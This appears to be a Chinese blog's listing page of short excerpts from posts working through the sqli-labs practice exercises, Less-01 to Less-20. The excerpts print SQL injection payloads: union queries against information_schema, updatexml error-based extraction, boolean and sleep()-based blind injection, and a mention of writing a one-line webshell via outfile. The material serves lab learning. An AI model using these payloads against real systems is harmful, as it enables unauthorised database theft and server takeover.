
sqli-labs
m0_62094846
这个作者很懒,什么都没留下…
展开
-
Less-20
只能用cookie传参,如果用POST传参,就会提示用cookie,无论cookie中输入什么都是这样uname=1'#uname=1' order by 3#uname=1' order by 2#都不会有任何回显,但是4就会报错,也只会报错但是select的时候又直接回显了,不知道为什么order by 1和2的时候不报错uname=1' union select 1,2,3#所以按照正常的查就可以了uname=1' union select d...原创 2022-03-31 17:29:02 · 846 阅读 · 0 评论 -
Less-18,19
查数据库1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1) and '查表名1' and updatexml(1,concat(0x7e,(select group_concat(tab.原创 2022-03-31 16:53:01 · 887 阅读 · 0 评论 -
Less-17
User Name必须要是admin其他的都不行,看题目界面知道是更新密码的题,和之前的都有些不一样(所以按理说应该也是正确了不会有回显,错误了会有显示,所以应该用报错注入)格式变成了这样uname=admin&passwd=1'#&submit=Submit查数据库uname=admin&passwd=1' and updatexml(1,concat(0x7e,(database()),0x7e),1)#&submit=Submit...原创 2022-03-30 17:19:49 · 577 阅读 · 0 评论 -
Less-15,16(布尔盲注)
uname=1' or 1=1#&passwd=1&submit=Submit单引号的万能密码可以,双引号不行,所以用单引号闭合正确和错误有区分但不会回显所以可以用布尔盲注用时间盲注测试时不知道为什么会一直加载,不止三秒uname=1' or ascii(left(database(),1))=115#&passwd=1&submit=Submit查数据库uname=1' or (ascii(substr((select d..原创 2022-03-30 16:00:36 · 430 阅读 · 0 评论 -
Less-13,14(报错注入)
uname=1')#&passwd=1&submit=Submit正确的不会有显示,错误的会报错报错注入原创 2022-03-30 10:59:44 · 234 阅读 · 0 评论 -
Less-12
POST输入(单引号)uname=1'--+&passwd=1&submit=Submit原创 2022-03-29 22:16:47 · 692 阅读 · 0 评论 -
Less-10(时间盲注)
和上一题差不多,就是单引号变成了双引号?id=1" and sleep(5)--+查当前数据库名?id=1" and if(ascii(substr(database(),1,1))>0,sleep(3),1)--+查表名?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>..原创 2022-03-28 21:18:40 · 1047 阅读 · 0 评论 -
Less-09(时间盲注)
无论输入什么,都不会有任何改变,应该要用时间盲注介绍三个函数sleep()参数写数字,此函数用于将时间延迟,参数的单位是秒if(expr1,expr2,expr3)若expr1为真则执行expr2,否则执行expr3可以先用代码测试一下?id=1' and (select sleep(3))--+判断数据库名的名称?id=1' and if(ascii(substr(database(),1,1))>1,sleep(5),1)--+?id=1' and if(..原创 2022-03-28 20:48:20 · 963 阅读 · 0 评论 -
Less-07
这里要经过很多次测试?id=1'))--+要用到outfile写入(一句话木马)不过有两个前置条件:1.有写入权限2.知道网站在服务器上的绝对路径?id=-1 union select 1,@@basedir,@@datadirbasedir()指定了安装MYSQL的安装路径datadir()指定了安装MYSQL的数据文件路径...原创 2022-03-28 19:35:13 · 316 阅读 · 0 评论 -
Less-05(报错注入)
看不到回显位,错误消息会显示,知道是报错注入?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1)--+?id=1' and updatexml(1,concat(0x7e,( select group_concat(schema_name) from information_schema.schemata),0x7e),1)--+?id=1' and updatexml(1,concat(0x7e,( se...原创 2022-01-09 17:04:07 · 368 阅读 · 0 评论 -
Less-08(时间盲注)
错误不显示,盲注尝试时间盲注?id=1' and sleep(5)--+确定当前数据库名的字符数?id=1' and length(database())=8--+?id=1' and if(substr(database(),1,1)='q',sleep(5),sleep(1))--+回显时间比较短,当前数据库应该第一个字母不是q,一个个尝试,用s就会有五秒睡眠时间用ascii码会比较方便用数字比较方便,不用担心引号被过滤?id...原创 2022-01-09 15:44:52 · 334 阅读 · 0 评论 -
Less-06(报错注入)
双引号绕过?id=1" order by 3--+?id=1" and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata limit 0,1),0x7e),1)--+?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_sch..原创 2022-01-09 18:00:00 · 202 阅读 · 0 评论 -
Less-04
?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata--+?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'--+?id=-1") union select 1,2,group_conc...原创 2022-01-09 10:00:00 · 262 阅读 · 0 评论 -
Less-03
?id=1') order by 3--+?id=-1') union select 1,2,3--+?id=-1') union select 1,database(),3--+?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+?id=-1') union select 1,2,g...原创 2022-01-09 10:00:00 · 251 阅读 · 0 评论 -
Less-11
随便输入账号密码,开bp获取username和password的变量名然后用POST方式看一下报错语句,单引号字符型注入判断字段数有2字段判断注入点(1)查库名(security)(2)查表名(users)(3)查字段名(username,password)(4)查数据...原创 2021-12-26 17:23:01 · 92 阅读 · 0 评论 -
Less-02
整型注入1.先判断是否为注入(输入不同值回显不同)2.判断注入类型(让它错误,看显示的错误语句)(引号中间没有东西)(猜的)是整型注入3.开始查找信息有三列回显位是2,3位关键词information_schema.schemata:表示所有信息,包括库、表、列schema_name:记录所有数据库的名称information_schema.tables:记录所有表名信息的表information_schema.column...原创 2021-12-25 19:54:37 · 286 阅读 · 0 评论 -
Less-01
查询字段,4不行,3行,说明有3列字段id改成-1,就不会查到东西,后面的就可以出现出现2,3说明回显位在2,3上比如查找database()查找所有的数据库查看表通过表和字段就可以查到flag...原创 2021-11-11 14:03:24 · 388 阅读 · 0 评论